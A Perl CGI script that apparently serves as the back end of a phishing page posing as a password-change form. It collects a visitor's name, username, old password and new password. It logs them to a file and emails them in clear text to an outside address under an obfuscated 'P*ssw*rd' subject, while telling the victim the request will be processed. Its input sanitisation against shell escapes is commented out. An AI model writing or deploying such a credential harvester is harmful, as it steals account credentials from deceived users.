#!/usr/bin/perl

$mailprog = '/usr/lib/sendmail';

print "Content-type: text/html\n\n";
print "<Head><Title>Password Changed</Title></Head>";
print "<Body bgcolor=#010142 text=white><font face=arial size=2><center><H1>Thank you</H1>";
# Get the input
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});

# Split the name-value pairs
@pairs = split(/&/, $buffer);

foreach $pair (@pairs)
{
    ($name, $value) = split(/=/, $pair);

    # Un-Webify plus signs and %-encoding
    $value =~ tr/+/ /;
    $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

    # Stop people from using subshells to execute commands
    # Not a big deal when using sendmail, but very important
    # when using UCB mail (aka mailx).
    # $value =~ s/~!/ ~!/g; 

    # Uncomment for debugging purposes
    # print "Setting $name to $value<P>";

    $FORM{$name} = $value;
}

# If the comments are blank, then give a "blank form" response
&blank_response unless $FORM{'fn'};
&blank_response unless $FORM{'un'};
&blank_response unless $FORM{'op'};
&blank_response unless $FORM{'np'};

# Now send mail to $recipient

open (LOGFILE, ">>/var/spool/news/home/ian/changefile");
 

 
$t = localtime(time);
print LOGFILE "$ENV{'REMOTE_HOST'} ";
print LOGFILE "$FORM{'to'}<br>";
print LOGFILE "$FORM{'fn'}<br>";
print LOGFILE "$FORM{'un'}<br>";
print LOGFILE "$FORM{'op'}<br>";
print LOGFILE "$FORM{'np'}<br>";

close (LOGFILE);

$recipient = 'kasra@ezenet.com';
open (MAIL, "|$mailprog $recipient") || die "Can't open $mailprog!\n";

print MAIL "From: $FORM{'to'}\n";
print MAIL "To: $recipient\n";
print MAIL "Subject: P*ssw*rd Change Request\n\n";
print MAIL "Name: $FORM{'fn'}\n";
print MAIL "Username: $FORM{'un'}\n";
print MAIL "Old: $FORM{'op'}\n";
print MAIL "New: $FORM{'np'}\n";

print MAIL  "------------------------------------------------------------\n";

close (MAIL);



# Make the person feel good for writing to us
print "Thank you $FORM{'fn'} <P>";
print "Your request will be processed as soon as possible.<P>";
print "For security reasons, we will keep this log from your entry.<P>";

print "IP Address: $ENV{'REMOTE_HOST'}<br>";
print "Date/Time Stamp $t <br>Name: $FORM{'fn'}<br>";
print "<Body bgcolor=#010142 text=white><font face=arial size=2><center><H1>Please close this window now.</H1>";


# ------------------------------------------------------------
# subroutine blank_rsponse
sub blank_response
{
    print "<br><br><br>";
	print "Your email appears to be blank, and thus was not sent.<br> ";
    print "Go BACK and Please re-enter your email.<br>";
    exit;
}
